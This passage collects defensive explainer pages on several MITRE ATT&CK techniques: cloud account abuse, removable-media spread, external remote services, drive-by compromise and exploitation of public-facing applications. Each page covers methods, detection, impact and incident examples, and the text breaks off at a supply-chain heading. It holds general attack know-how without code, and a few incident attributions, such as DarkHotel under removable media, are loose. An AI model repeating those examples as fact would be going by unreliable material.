Cloud Accounts (T1078.004) is a sub-technique within the MITRE ATT\&CK framework under the broader technique "Valid Accounts (T1078)." It involves adversaries compromising or abusing legitimate cloud service provider accounts to gain unauthorized access, maintain persistence, escalate privileges, or facilitate further attacks within cloud environments. Attackers typically leverage stolen credentials, credential stuffing, phishing attacks, or exploitation of weak authentication mechanisms to access and misuse cloud accounts.

## Deep Dive Into Technique

Adversaries targeting cloud accounts primarily exploit authentication mechanisms and credential management practices. Key technical details and methods include:

* **Credential Theft and Reuse:**
  * Attackers obtain cloud credentials through phishing campaigns, social engineering, leaked credentials databases, or malware infections.
  * Credential stuffing attacks utilize automated tools to systematically test stolen credentials against cloud authentication endpoints.
* **Exploiting Weak Authentication Configurations:**
  * Attackers leverage accounts configured without multi-factor authentication (MFA) or with weak password policies.
  * Abuse of insecure APIs or misconfigured cloud resources that expose sensitive credentials.
* **Session Hijacking and Token Theft:**
  * Attackers intercept or steal session tokens or authentication tokens, enabling unauthorized access without needing the original password.
  * Use of token replay attacks, where valid tokens are reused to gain access to cloud environments.
* **Privilege Escalation via Cloud IAM:**
  * Attackers exploit overly permissive IAM (Identity and Access Management) policies or roles within cloud environments.
  * Manipulation of cloud IAM roles to escalate privileges or gain administrative access.
* **Persistence and Lateral Movement:**
  * Attackers create additional cloud accounts, roles, or API keys to maintain persistence and evade detection.
  * Use compromised cloud accounts to move laterally between cloud resources, services, or even hybrid environments.
* **Automation and Scripting:**
  * Use of automated scripts and tools to systematically enumerate cloud resources, extract sensitive data, or provision unauthorized resources.
  * Tools such as AWS CLI, Azure CLI, Google Cloud SDK, and open-source exploitation frameworks are commonly employed.

## When this Technique is Usually Used

Attackers leverage cloud accounts at various stages of the cyber kill chain, including:

* **Initial Access:**
  * Compromised cloud credentials can serve as an initial vector into cloud environments, bypassing perimeter defenses.
* **Persistence:**
  * Creation of additional cloud accounts, API keys, or IAM users/roles ensures continued access even if initial credentials are revoked.
* **Privilege Escalation:**
  * Exploiting IAM roles or misconfigured permissions to escalate privileges within the cloud environment.
* **Lateral Movement:**
  * Using compromised cloud accounts to pivot between cloud services, resources, or hybrid on-premises/cloud infrastructures.
* **Data Exfiltration:**
  * Cloud accounts enable attackers to access sensitive data stored in cloud storage services, databases, or other resources.
* **Impact and Resource Hijacking:**
  * Attackers utilize compromised cloud accounts to launch denial-of-service (DoS) attacks, cryptocurrency mining operations, or deploy malicious infrastructure.

## How this Technique is Usually Detected

Detection of compromised or abused cloud accounts involves multiple layers and approaches, including:

* **Monitoring and Alerting on Authentication Events:**
  * Employing cloud-native logging and security services (AWS CloudTrail, Azure Monitor, Google Cloud Audit Logs) to track authentication attempts, account creations, and suspicious logins.
  * Alerting on unusual login patterns such as logins from unfamiliar IP addresses, impossible travel scenarios, or unusual login hours.
* **Behavioral Analytics and Anomaly Detection:**
  * Implementing User and Entity Behavior Analytics (UEBA) to detect deviations from normal user behaviors and usage patterns.
  * Identifying anomalous API calls, unusual resource provisioning, or abnormal data access patterns.
* **Multi-Factor Authentication (MFA) Enforcement and Monitoring:**
  * Enforcing MFA policies to reduce credential compromise risks.
  * Monitoring and alerting on MFA bypass attempts or unusual MFA activity.
* **Cloud Security Posture Management (CSPM) Tools:**
  * Using CSPM solutions to detect misconfigurations, overly permissive IAM roles, and unauthorized resource creations.
  * Continuous monitoring of cloud account configurations and permissions.
* **Indicators of Compromise (IoCs):**
  * Unusual API calls or commands executed by cloud accounts.
  * Sudden or unexpected creation of new IAM roles, users, or API keys.
  * Detection of cloud resources provisioned in unfamiliar regions or services.
  * Increased billing or resource usage indicative of unauthorized resource utilization (e.g., crypto mining).

## Why it is Important to Detect This Technique

Early detection of compromised cloud accounts is crucial due to significant potential impacts, including:

* **Data Breaches and Data Loss:**
  * Attackers with cloud account access can exfiltrate sensitive information, intellectual property, customer data, or personally identifiable information (PII).
* **Financial and Operational Impact:**
  * Unauthorized resource provisioning can lead to substantial financial costs due to unexpected cloud service charges.
  * Attackers may disrupt business operations through resource hijacking or denial-of-service attacks.
* **Reputation and Compliance Risks:**
  * Data breaches or unauthorized access incidents can severely damage organizational reputation and trust.
  * Organizations may face regulatory fines or legal consequences due to non-compliance with data protection regulations (e.g., GDPR, HIPAA, PCI DSS).
* **Persistence and Further Compromise:**
  * Undetected compromised accounts enable attackers to maintain persistence, escalate privileges, and move laterally, increasing the risk of widespread compromise.
* **Security Posture Degradation:**
  * Attackers can alter cloud security configurations, weakening overall security posture and exposing the organization to future attacks.

## Examples

Real-world incidents and examples involving compromised cloud accounts include:

* **Capital One Breach (2019):**
  * Attackers exploited a misconfigured AWS IAM role to access sensitive data stored in Amazon S3 buckets.
  * Impact: Approximately 100 million customer records exposed, resulting in significant financial penalties and reputational damage.
* **Tesla Kubernetes Cluster Compromise (2018):**
  * Attackers gained access to Tesla's AWS cloud account credentials due to an unsecured Kubernetes administrative console.
  * Attackers deployed cryptocurrency mining software on Tesla's cloud infrastructure, incurring unauthorized resource costs.
* **Uber AWS Account Compromise (2016):**
  * Attackers obtained AWS cloud credentials stored insecurely in GitHub repositories.
  * Resulted in unauthorized access to sensitive data of approximately 57 million users and drivers, leading to significant regulatory fines and reputational harm.
* **Code Spaces Attack (2014):**
  * Attackers gained access to AWS cloud account credentials and demanded ransom.
  * Upon refusal, attackers deleted cloud resources, effectively destroying the company's entire infrastructure and forcing its closure.
* **TeamTNT Cybercrime Group (2020-2021):**
  * Attackers targeted cloud environments to steal AWS credentials and deploy cryptocurrency mining software.
  * Leveraged automated scripts and tools to systematically scan and compromise cloud accounts across multiple organizations.

In these examples, attackers exploited compromised cloud accounts through credential theft, misconfigurations, weak authentication practices, and insecure credential storage. The resulting impacts included financial losses, operational disruptions, data breaches, regulatory penalties, and severe reputational damage.


# Replication Through Removable Media

Replication Through Removable Media \[T1091]

## Information

* Name: Replication Through Removable Media
* ID: T1091
* Tactics: [TA0008](/mitre/mitre/ta0008), [TA0001](/mitre/mitre/ta0001)

## Introduction

Replication Through Removable Media (T1091) is a technique identified within the MITRE ATT\&CK framework, categorized under lateral movement. Attackers leverage removable media devices, such as USB drives, external hard disks, or optical media, to transfer malicious payloads onto targeted systems. This method allows attackers to bypass network-based security controls, propagate malware across disconnected or air-gapped systems, and achieve persistence or lateral movement within organizations.

## Deep Dive Into Technique

Attackers commonly exploit removable media by embedding malicious payloads onto portable devices, enabling malware to execute automatically or upon user interaction. Technical execution methods include:

* **Autorun Exploitation:**
  * Attackers utilize the Windows Autorun feature (e.g., `autorun.inf`) to automatically execute malware when removable media is inserted into a system.
  * Though modern Windows versions have limited Autorun capabilities, legacy systems remain vulnerable.
* **Shortcut (LNK) Files:**
  * Malicious shortcut files (.lnk) placed on removable media can execute payloads when users click on them.
  * Attackers disguise shortcuts as legitimate documents or folders to trick users into execution.
* **Hidden or Obfuscated Files:**
  * Attackers hide malware within legitimate files or use hidden attributes to avoid casual detection.
  * Malware may leverage file name spoofing or Unicode characters to conceal true file types.
* **Firmware-Level Attacks:**
  * Advanced adversaries embed malware within device firmware, making detection and removal difficult.
  * Firmware-level infections persist even after formatting or wiping the removable media.
* **Physical Access and Social Engineering:**
  * Attackers intentionally leave infected removable media in public or targeted locations, exploiting human curiosity or negligence to induce victims to plug them into corporate systems.
  * Social engineering tactics include labeling media with enticing or trustworthy labels to increase likelihood of use.

## When this Technique is Usually Used

Replication Through Removable Media is typically employed in scenarios such as:

* **Initial Access:**
  * Attackers gain initial footholds into isolated or air-gapped networks that are otherwise inaccessible via internet or network-based attacks.
* **Lateral Movement:**
  * Malware propagation between isolated segments or systems within a network where traditional network-based lateral movement is restricted or monitored.
* **Persistence and Reinfection:**
  * Attackers use removable media to maintain persistence, reinfect systems previously cleaned, or re-establish footholds after detection and remediation.
* **Targeting Critical Infrastructure and Industrial Control Systems (ICS):**
  * Attackers target sensitive environments, such as ICS or SCADA networks, that commonly employ air-gap security measures, relying heavily on removable media for data transfer.
* **Supply Chain Attacks:**
  * Malicious actors compromise removable media during manufacturing or distribution stages, infecting end-users upon first use.

## How this Technique is Usually Detected

Detection methods and indicators of compromise (IoCs) for attacks leveraging removable media include:

* **Endpoint Security Tools:**
  * Antivirus and Endpoint Detection and Response (EDR) solutions that scan removable media upon insertion.
  * Detection of suspicious files, known malware signatures, or unusual file types on removable devices.
* **Monitoring Autorun and Shortcut File Activity:**
  * Monitoring the creation and execution of suspicious `.lnk` files, `autorun.inf`, or scripts triggered from removable media.
* **Device Control and Access Logs:**
  * Implementation of Device Control solutions to log removable media insertions and usage.
  * Analysis of logs to identify unauthorized or unusual media insertions, especially on critical or sensitive systems.
* **Behavioral Analytics:**
  * Analyzing anomalous behaviors such as unexpected processes, unusual file accesses, or suspicious script execution triggered immediately after removable media insertion.
* **Firmware Integrity Checks:**
  * Periodic integrity checks or firmware scans of removable media devices to detect firmware-level compromise.
* **Specific Indicators of Compromise (IoCs):**
  * Presence of `autorun.inf` files referencing unknown or suspicious executables.
  * Suspicious shortcut files (`.lnk`) pointing to hidden executables.
  * Hidden files or folders with executable extensions.
  * Unexpected or unauthorized processes spawned immediately after removable media insertion.
  * Known malware hashes or signatures identified on removable media.

## Why it is Important to Detect This Technique

Early detection and mitigation of replication through removable media is critical due to potential impacts, including:

* **Bypassing Network Security Controls:**
  * Malware introduced through removable media circumvents perimeter defenses, firewalls, and intrusion detection systems, allowing attackers direct access to endpoints.
* **Propagation Across Air-Gapped Networks:**
  * Attackers can breach highly secure or isolated environments (e.g., critical infrastructure, military, government networks) that rely on removable media for data transfers.
* **Persistent Malware Infections:**
  * Malware infections introduced through removable media can persist undetected, repeatedly reinfecting systems even after remediation.
* **Data Exfiltration and Espionage:**
  * Attackers use removable media to exfiltrate sensitive or classified data from isolated or secured environments without network connectivity.
* **Operational Disruption and Damage:**
  * Malware introduced via removable media can disrupt critical operations, damage systems, or cause physical harm, especially in industrial or critical infrastructure environments.
* **Supply Chain Risks:**
  * Compromised removable media introduced through supply chain attacks can infect large numbers of users or organizations simultaneously, multiplying the impact.

## Examples

Several real-world examples illustrate the use of replication through removable media:

* **Stuxnet (2010):**
  * **Scenario:** Advanced malware targeting Iranian nuclear facilities, propagating via infected USB drives into air-gapped industrial control systems.
  * **Tools Used:** Utilized zero-day vulnerabilities, Autorun exploitation, and malicious `.lnk` files.
  * **Impact:** Significant physical damage to centrifuges, disruption of nuclear enrichment operations, and heightened global awareness of ICS vulnerabilities.
* **Conficker Worm (2008-2009):**
  * **Scenario:** Worm propagated rapidly through removable media and exploited Autorun features to infect millions of Windows systems globally.
  * **Tools Used:** Autorun.inf files, malicious executables hidden on USB drives.
  * **Impact:** Massive global infection, disruption of services, and costly remediation efforts worldwide.
* **Agent.BTZ Malware (2008):**
  * **Scenario:** Malware infected U.S. military networks via removable media, leading to significant security breaches and operational disruptions.
  * **Tools Used:** Malicious executables and Autorun exploitation.
  * **Impact:** Prompted the U.S. Department of Defense to significantly alter cybersecurity policies, including banning USB drives.
* **DarkHotel Attacks (2014 onwards):**
  * **Scenario:** Targeted espionage attacks against hotel guests, including corporate executives, using compromised removable media devices.
  * **Tools Used:** Malicious executables, hidden payloads, and social engineering tactics.
  * **Impact:** Theft of sensitive corporate and personal data, espionage, and reputational damage to targeted organizations.
* **BadUSB Attacks (Disclosed in 2014):**
  * **Scenario:** Exploited firmware-level vulnerabilities in USB devices, turning benign devices into malicious attack vectors.
  * **Tools Used:** Firmware-level malware embedded in USB controller chips.
  * **Impact:** Persistent infections difficult to detect and remove, widespread risk to all USB device users, and increased awareness of hardware-level vulnerabilities.


# External Remote Services

External Remote Services \[T1133]

## Information

* Name: External Remote Services
* ID: T1133
* Tactics: [TA0003](/mitre/mitre/ta0003), [TA0001](/mitre/mitre/ta0001)

## Introduction

External Remote Services is a technique classified under the MITRE ATT\&CK framework (ID: T1133) within the Initial Access tactic category. This technique involves adversaries leveraging legitimate external-facing remote services such as VPNs, Remote Desktop Protocol (RDP), SSH, Citrix, and other remote management tools to gain unauthorized access into internal networks. Attackers commonly exploit weak authentication mechanisms, vulnerabilities, or stolen credentials to infiltrate and establish persistence within targeted environments.

## Deep Dive Into Technique

External Remote Services encompass various legitimate remote access mechanisms that organizations commonly deploy for legitimate business purposes. Attackers exploit these services through multiple methods:

* **Credential Theft and Reuse**:
  * Attackers may obtain credentials through phishing attacks, credential dumping, or purchasing stolen credentials from dark web marketplaces.
  * Credentials are then used to authenticate into external remote services like VPN and RDP.
* **Brute Force Attacks**:
  * Attackers systematically attempt multiple credential combinations against remote services to discover valid accounts.
  * Common targets include SSH, RDP, and VPN gateways.
* **Exploitation of Vulnerabilities**:
  * Attackers exploit known vulnerabilities in remote access technologies, such as vulnerabilities in VPN appliances (e.g., Pulse Secure, Fortinet, Citrix ADC).
  * Exploitation can lead to remote code execution, credential harvesting, and unauthorized access.
* **Misconfigured Services**:
  * Poorly configured or unsecured remote services (e.g., default passwords, open RDP ports) provide easy entry points for attackers.
  * Attackers scan the internet to identify exposed and vulnerable services.
* **Supply Chain Compromise**:
  * Attackers may compromise third-party service providers with legitimate remote access to target organizations.
  * Leveraging trusted relationships and remote access channels, attackers infiltrate the internal environments of target organizations.

Once attackers successfully gain access through external remote services, they typically establish persistence, lateral movement, and deploy additional malware or ransomware within the internal network.

## When this Technique is Usually Used

Attackers commonly use External Remote Services during multiple stages of cyberattacks, primarily during initial access and persistence phases. Typical attack scenarios include:

* **Initial Access**:
  * Attackers use compromised credentials or brute-force attacks to infiltrate corporate networks via external-facing remote services.
  * Exploiting vulnerabilities in VPN appliances or remote desktop services to gain initial foothold.
* **Persistence**:
  * After initial compromise, attackers maintain persistent access by creating backdoor accounts, exploiting remote access services, or modifying remote access configurations.
* **Lateral Movement**:
  * Attackers leverage remote services internally to move laterally across the network, escalating privileges and compromising additional systems.
* **Data Exfiltration and Command-and-Control**:
  * Attackers may utilize remote access channels for data exfiltration, command-and-control (C2) communications, and deploying malicious payloads.
* **Ransomware Deployment**:
  * Cybercriminals commonly exploit external remote services to deploy ransomware payloads and encrypt critical organizational data.

## How this Technique is Usually Detected

Effective detection of External Remote Services misuse involves multiple layers of monitoring, logging, and anomaly detection:

* **Network Traffic Analysis**:
  * Monitor network traffic for unusual patterns, such as unexpected remote access connections from unknown or suspicious IP addresses.
  * Identify unusual spikes in traffic volume, port scanning activities, or repeated authentication attempts.
* **Authentication and Access Logs**:
  * Analyze authentication logs for multiple failed login attempts (brute-force attacks).
  * Detect logins from unusual geographic locations, IP addresses, or at abnormal times.
* **Endpoint Detection and Response (EDR)**:
  * Leverage EDR solutions to detect anomalous remote desktop or SSH sessions.
  * Identify suspicious processes or unauthorized remote access tools running on endpoints.
* **Intrusion Detection Systems (IDS) and Intrusion Prevention Systems (IPS)**:
  * IDS/IPS rules to detect exploitation attempts against known vulnerabilities in remote services.
  * Signature-based detection and anomaly-based detection methods to identify suspicious remote access activities.
* **Security Information and Event Management (SIEM)**:
  * Aggregate and correlate logs from multiple sources (firewalls, VPN servers, authentication systems, endpoints).
  * Alert on suspicious patterns, failed login attempts, and unauthorized access attempts.
* **Indicators of Compromise (IoCs)**:
  * Suspicious IP addresses associated with known threat actors or malicious infrastructure.
  * Unusual remote access tools or binaries found on endpoints.
  * Unexpected configuration changes in remote access services.
  * Indicators from threat intelligence feeds related to remote access vulnerabilities and exploits.

## Why it is Important to Detect This Technique

Early detection of External Remote Services misuse is critical due to the significant risks and impacts associated with unauthorized remote access:

* **Data Breaches and Exfiltration**:
  * Attackers gaining remote access can exfiltrate sensitive corporate data, intellectual property, or personally identifiable information (PII), leading to significant financial and reputational damage.
* **Ransomware Attacks**:
  * Remote access compromises are frequently used as initial entry points for ransomware attacks, resulting in operational disruptions, financial losses, and costly recovery efforts.
* **Persistent Unauthorized Access**:
  * Attackers often establish persistent backdoors and remote access channels, enabling prolonged and undetected malicious activities.
* **Lateral Movement and Escalation**:
  * Once attackers gain initial remote access, they can move laterally across internal networks, escalate privileges, and compromise critical infrastructure and systems.
* **Compliance and Regulatory Consequences**:
  * Unauthorized remote access incidents can lead to regulatory fines, legal repercussions, and non-compliance with industry standards (e.g., GDPR, HIPAA, PCI DSS).
* **Operational Downtime and Business Disruption**:
  * Compromised remote services can disrupt critical business operations, resulting in downtime, productivity loss, and negative customer impact.

## Examples

Real-world examples demonstrating External Remote Services exploitation:

* **Colonial Pipeline Ransomware Attack (2021)**:
  * Attackers leveraged compromised VPN credentials to access Colonial Pipeline's internal network.
  * Resulted in ransomware deployment, operational shutdown, fuel supply disruptions, and significant economic impacts.
* **Pulse Secure VPN Exploitation (2020-2021)**:
  * Multiple threat actors exploited vulnerabilities (CVE-2019-11510, CVE-2021-22893) in Pulse Secure VPN appliances.
  * Attackers gained remote access, established persistence, and exfiltrated sensitive data from government organizations and private enterprises.
* **Fortinet VPN Vulnerabilities (2019-2020)**:
  * Exploitation of vulnerabilities (CVE-2018-13379) in Fortinet VPN gateways allowed attackers to harvest credentials and gain unauthorized remote access.
  * Led to data breaches, lateral movement, and ransomware deployment.
* **Citrix ADC (NetScaler) Exploitation (2019-2020)**:
  * Attackers exploited critical vulnerabilities (CVE-2019-19781) in Citrix ADC appliances.
  * Enabled remote code execution, credential theft, and unauthorized access to internal networks.
* **Remote Desktop Protocol (RDP) Attacks (Ongoing)**:
  * Attackers continuously target exposed RDP services using brute-force attacks, credential stuffing, and exploitation of vulnerabilities (e.g., BlueKeep CVE-2019-0708).
  * Commonly used to deploy ransomware, conduct data exfiltration, and establish persistent access.

These examples highlight the critical importance of securing external remote services, implementing strong authentication mechanisms, timely patching, and proactive monitoring to mitigate risks associated with this technique.


# Drive-by Compromise

Drive-by Compromise \[T1189]

## Information

* Name: Drive-by Compromise
* ID: T1189
* Tactics: [TA0001](/mitre/mitre/ta0001)

## Introduction

Drive-by Compromise (MITRE ATT\&CK ID: T1189) is a cyberattack technique in which attackers compromise users' devices when they visit websites or legitimate web services that have been previously infected or maliciously crafted. Users typically become victims without actively clicking or downloading malicious content intentionally. Attackers exploit vulnerabilities in browsers, plugins, or software components to silently execute malicious payloads, enabling unauthorized access, malware installation, or further exploitation.

## Deep Dive Into Technique

Drive-by Compromise involves attackers embedding malicious scripts or code into legitimate or compromised websites. When users visit these websites, attackers exploit vulnerabilities in web browsers, browser plugins, or software components installed on the victim's device. Technical execution methods include:

* **Exploit Kits (EKs):** Attackers frequently use exploit kits, automated toolkits designed to identify vulnerabilities and deliver payloads without user interaction. Common EKs include Angler, Magnitude, RIG, Nuclear, and Neutrino.
* **Malicious JavaScript:** Attackers inject malicious JavaScript into compromised websites or advertisements (malvertising). This script silently executes in the victim's browser, scanning for vulnerabilities.
* **Browser and Plugin Exploits:** Exploiting known vulnerabilities in browsers (Chrome, Firefox, Edge, Safari) or plugins (Adobe Flash, Java applets, PDF readers) is a common vector. Attackers exploit software vulnerabilities such as buffer overflow, use-after-free, or sandbox escape flaws.
* **Watering Hole Attacks:** Attackers identify websites regularly visited by targeted victims or organizations, compromise these websites, and implant malicious scripts to infect specific visitors.
* **Zero-Day Exploits:** Advanced attackers may use zero-day vulnerabilities (previously unknown vulnerabilities) to bypass security defenses and infect fully patched systems.

Typical procedure:

1. User visits compromised or malicious website.
2. Malicious script or exploit kit scans browser and plugins for vulnerabilities.
3. Vulnerability is exploited silently.
4. Payload (malware, remote access tools, ransomware) is delivered and executed on victim's device.
5. Attacker gains unauthorized access, persistence, or control over infected systems.

## When this Technique is Usually Used

Drive-by Compromise typically appears in various attack scenarios and stages, including:

* **Initial Access Stage:** Used as a primary entry point into organizations or individual user devices.
* **Targeted Attacks (Watering Hole):** Attackers compromise websites frequently visited by specific user groups or organizations, aiming for targeted infection.
* **Mass Infection Campaigns:** Attackers seeking widespread malware distribution use compromised popular websites or malicious advertisements (malvertising).
* **Espionage and State-sponsored Attacks:** Nation-state actors use drive-by attacks to silently infect targeted individuals or organizations, maintaining stealth and anonymity.
* **Financially Motivated Attacks:** Cybercriminals use drive-by attacks to deliver ransomware, banking trojans, cryptominers, or other financially motivated malware.

## How this Technique is Usually Detected

Detection methods and tools for Drive-by Compromise include:

* **Network Intrusion Detection Systems (IDS):** Monitor network traffic for suspicious patterns, exploit kit signatures, or malicious domains.
* **Endpoint Detection and Response (EDR):** Detect anomalous processes, unexpected software installations, or suspicious memory activities.
* **Web Proxy and URL Filtering:** Block or alert on known malicious URLs, compromised websites, or suspicious web traffic patterns.
* **Browser Security Tools:** Browser-integrated security mechanisms, sandboxing, and exploit mitigation technologies detect and prevent exploitation attempts.
* **Threat Intelligence Feeds:** Regular updates of known malicious domains, IP addresses, exploit kit signatures, and malicious scripts.
* **SIEM (Security Information and Event Management):** Aggregate and correlate logs from network and endpoint devices to detect anomalous web access patterns or exploit attempts.

Specific Indicators of Compromise (IoCs):

* Suspicious outbound connections to unknown or malicious domains.
* Detection of exploit kit landing pages or malicious JavaScript code.
* Unexpected processes or file creations following web browsing activity.
* Browser crashes or abnormal behavior indicative of exploitation attempts.
* Unusual registry modifications or persistence mechanisms appearing after web access.

## Why it is Important to Detect This Technique

Detecting Drive-by Compromise early is critical due to significant potential impacts:

* **Rapid Infection Spread:** Quick and silent compromise can lead to widespread infection within organizations.
* **Data Exfiltration:** Attackers may steal sensitive personal, financial, or corporate information.
* **Ransomware Deployment:** Attackers frequently deliver ransomware payloads, causing operational disruption and financial loss.
* **Persistence and Lateral Movement:** Early detection prevents attackers from establishing persistence, escalating privileges, or moving laterally within networks.
* **Reputation Damage:** Undetected compromises can lead to public disclosure, regulatory penalties, and loss of customer trust.
* **Financial Losses:** Direct financial impacts from theft, fraud, or operational downtime can be significant.
* **Espionage and Intellectual Property Theft:** Nation-state or corporate espionage attackers may silently exfiltrate critical intellectual property or sensitive data.

## Examples

Real-world examples of Drive-by Compromise include:

* **Operation Aurora (2009-2010):**
  * **Attack Scenario:** Chinese state-sponsored attackers compromised legitimate websites frequently visited by Google employees (watering hole attack).
  * **Tools Used:** Zero-day vulnerabilities in Internet Explorer.
  * **Impact:** Attackers gained unauthorized access to Google's internal networks, stealing intellectual property and sensitive data.
* **Angler Exploit Kit Campaigns (2014-2016):**
  * **Attack Scenario:** Cybercriminals widely compromised legitimate websites and online advertisements to deliver malicious payloads.
  * **Tools Used:** Angler exploit kit leveraging vulnerabilities in Adobe Flash, Java, Internet Explorer.
  * **Impact:** Millions of users infected with ransomware (CryptoWall), banking trojans, and credential-stealing malware.
* **NotPetya Attack (2017):**
  * **Attack Scenario:** Attackers compromised a legitimate Ukrainian accounting software website to deliver malware via software updates.
  * **Tools Used:** Exploited vulnerabilities (EternalBlue and EternalRomance exploits), malicious software update mechanism.
  * **Impact:** Global spread of destructive malware, billions of dollars in damages, severe operational disruption for multiple multinational corporations.
* **Magnitude Exploit Kit and Cerber Ransomware (2016-2017):**
  * **Attack Scenario:** Attackers infected legitimate websites and online advertisements to deliver Cerber ransomware.
  * **Tools Used:** Magnitude exploit kit targeting browser and plugin vulnerabilities.
  * **Impact:** Widespread ransomware infections, financial losses, and data loss for thousands of users and businesses.
* **Malvertising Campaigns (Ongoing):**
  * **Attack Scenario:** Attackers inject malicious scripts into legitimate online advertising networks.
  * **Tools Used:** Various exploit kits (RIG, Fallout, Magnitude), malicious JavaScript code.
  * **Impact:** Mass infection of users visiting legitimate websites, delivery of ransomware, banking trojans, and cryptominers.


# Exploit Public-Facing Application

Exploit Public-Facing Application \[T1190]

## Information

* Name: Exploit Public-Facing Application
* ID: T1190
* Tactics: [TA0001](/mitre/mitre/ta0001)

## Introduction

Exploit Public-Facing Application is a technique listed in the MITRE ATT\&CK framework (Technique ID: T1190), categorized under Initial Access. This technique involves attackers exploiting vulnerabilities in internet-facing applications or services to gain unauthorized access into systems or networks. Attackers commonly target web servers, databases, VPN gateways, or any externally accessible services that have known or unknown vulnerabilities. Exploiting these vulnerabilities provides attackers with an initial foothold, enabling further lateral movement, privilege escalation, and persistence within the compromised environment.

## Deep Dive Into Technique

Attackers exploit public-facing applications primarily through the following technical approaches:

* **Web Application Attacks**:
  * SQL Injection (SQLi): Attackers inject malicious SQL queries into input fields, exploiting improper input validation to retrieve sensitive data or gain administrative access.
  * Cross-Site Scripting (XSS): Malicious scripts injected into legitimate web pages, potentially stealing user credentials or session cookies.
  * Remote File Inclusion (RFI) and Local File Inclusion (LFI): Attackers exploit improper file handling to execute malicious code or access sensitive files.
  * Command Injection: Exploiting improper validation of user input to execute arbitrary commands on the underlying OS.
* **Vulnerability Exploitation of Public Services**:
  * Exploiting known vulnerabilities in web servers (e.g., Apache, Nginx, IIS), CMS platforms (e.g., WordPress, Drupal), VPN gateways, remote desktop protocols (RDP), email servers, and other externally accessible services.
  * Leveraging outdated or unpatched software versions with publicly available exploits.
* **Zero-Day Exploits**:
  * Exploitation of previously unknown vulnerabilities for which no patches or mitigations exist at the time of attack.
  * Often leveraged by advanced persistent threats (APTs) or sophisticated threat actors.
* **Exploit Kits and Automated Tools**:
  * Use of exploit kits (e.g., RIG, Angler, Magnitude) and automated scanning tools (e.g., Metasploit, Burp Suite, OWASP ZAP) to identify and exploit vulnerabilities quickly and efficiently.

## When this Technique is Usually Used

This technique is commonly observed at the initial stages of cyber-attacks, primarily serving as the entry point for attackers into targeted networks. Typical scenarios and stages include:

* **Initial Access**:
  * Attackers scan externally facing services for known vulnerabilities.
  * Automated reconnaissance and vulnerability scanning to identify exploitable targets.
* **Credential Harvesting and Data Theft**:
  * Attackers exploit vulnerable web applications to steal user credentials, sensitive data, or confidential information.
* **Establishing Persistence and Foothold**:
  * Attackers exploit public-facing applications to deploy web shells, backdoors, or remote administration tools, enabling persistent access.
* **Lateral Movement and Privilege Escalation**:
  * Once initial access is established, attackers leverage compromised web applications to pivot internally, escalating privileges and moving laterally within the network.
* **Distributed Denial of Service (DDoS) Attacks**:
  * Attackers exploit vulnerabilities to compromise servers, turning them into bots or command-and-control nodes for launching large-scale DDoS attacks.

## How this Technique is Usually Detected

Detection methods for exploitation of public-facing applications often involve a combination of proactive monitoring, threat intelligence, and security tools, including:

* **Web Application Firewalls (WAF)**:
  * Detect and block malicious traffic patterns indicative of SQL injection, XSS, and other web-based attacks.
* **Intrusion Detection and Prevention Systems (IDS/IPS)**:
  * Identify known exploit signatures, anomalous traffic patterns, and suspicious payloads.
* **Security Information and Event Management (SIEM)**:
  * Correlation and analysis of logs from web servers, firewalls, IDS, and other security tools to detect signs of compromise.
* **Vulnerability Scanners**:
  * Regular scanning of public-facing applications to detect known vulnerabilities and misconfigurations before attackers exploit them.
* **Endpoint Detection and Response (EDR)**:
  * Monitor endpoint behaviors and file activities indicative of exploitation attempts or successful breaches.
* **Network Traffic Analysis (NTA)**:
  * Detection of unusual network traffic patterns, unusual outbound connections, or suspicious data exfiltration activities from public-facing systems.

Indicators of Compromise (IoCs) include:

* Web access logs showing suspicious requests or exploitation attempts (e.g., SQL injection attempts, command injection payloads).
* Unexpected web shells or unfamiliar files appearing on web servers.
* Anomalous outbound network connections from public-facing servers to unknown IP addresses.
* Unusual spikes in resource usage (CPU, memory, bandwidth) on public-facing servers.
* Unauthorized configuration changes or new user accounts created on public-facing systems.

## Why it is Important to Detect This Technique

Early detection of exploits targeting public-facing applications is critical due to the potential severe impacts, including:

* **Data Breach and Data Loss**:
  * Attackers can extract sensitive information such as personal identifiable information (PII), intellectual property, confidential business data, or financial records.
* **Unauthorized Access and Privilege Escalation**:
  * Successful exploitation can lead to unauthorized administrative access, enabling attackers to escalate privileges and compromise other internal systems.
* **Operational Disruption**:
  * Compromised applications may be rendered unavailable or unstable, leading to downtime and interruption of critical business operations.
* **Reputation Damage**:
  * Public disclosure of breaches can severely damage an organization's reputation, resulting in loss of customer trust, legal consequences, and regulatory penalties.
* **Financial Impact**:
  * Costs associated with incident response, remediation, regulatory fines, legal fees, and potential loss of business revenue.

Early detection helps organizations:

* Minimize damage and reduce the attack surface.
* Quickly remediate vulnerabilities and prevent further exploitation.
* Strengthen security posture and improve overall resilience against future attacks.

## Examples

Real-world examples of exploitation of public-facing applications include:

* **Equifax Data Breach (2017)**:
  * Vulnerability exploited: Apache Struts framework (CVE-2017-5638).
  * Attackers exploited unpatched Struts vulnerability on a public web application, compromising sensitive personal data of approximately 147 million consumers.
  * Impact: Massive data breach, severe financial and reputational damage, regulatory fines, and lawsuits.
* **Pulse Secure VPN Exploitation (2019-2020)**:
  * Vulnerabilities exploited: CVE-2019-11510, CVE-2019-11539.
  * Attackers exploited vulnerabilities in Pulse Secure VPN servers to gain unauthorized access, install web shells, and compromise internal networks.
  * Impact: Persistent access to internal networks, theft of sensitive data, and subsequent ransomware attacks.
* **Microsoft Exchange Server Exploitation (ProxyLogon, 2021)**:
  * Vulnerabilities exploited: CVE-2021-26855, CVE-2021-27065, CVE-2021-26857, CVE-2021-26858.
  * Attackers exploited zero-day vulnerabilities in Microsoft Exchange servers to deploy web shells, exfiltrate emails, and gain persistent access.
  * Impact: Tens of thousands of organizations globally affected, significant data compromise, and extensive remediation efforts.
* **Drupalgeddon Attacks (2014, 2018)**:
  * Vulnerabilities exploited: CVE-2014-3704, CVE-2018-7600.
  * Attackers exploited critical vulnerabilities in Drupal CMS to execute arbitrary code remotely, gaining administrative access.
  * Impact: Compromised websites, data theft, defacement, and deployment of malware.
* **Citrix ADC/Netscaler Exploitation (2019-2020)**:
  * Vulnerability exploited: CVE-2019-19781.
  * Attackers exploited vulnerabilities in Citrix ADC/Netscaler products to execute arbitrary code, install web shells, and compromise internal networks.
  * Impact: Unauthorized access, data theft, persistence, and lateral movement within compromised networks.

In these examples, attackers leveraged public-facing vulnerabilities to gain initial access, establish persistence, and cause significant financial, operational, and reputational damages.


# Supply Chain Compromise

Supply Chain Compromise \[T1195]

## Information

* Name: Supply Chain Compromise
* ID: T1195
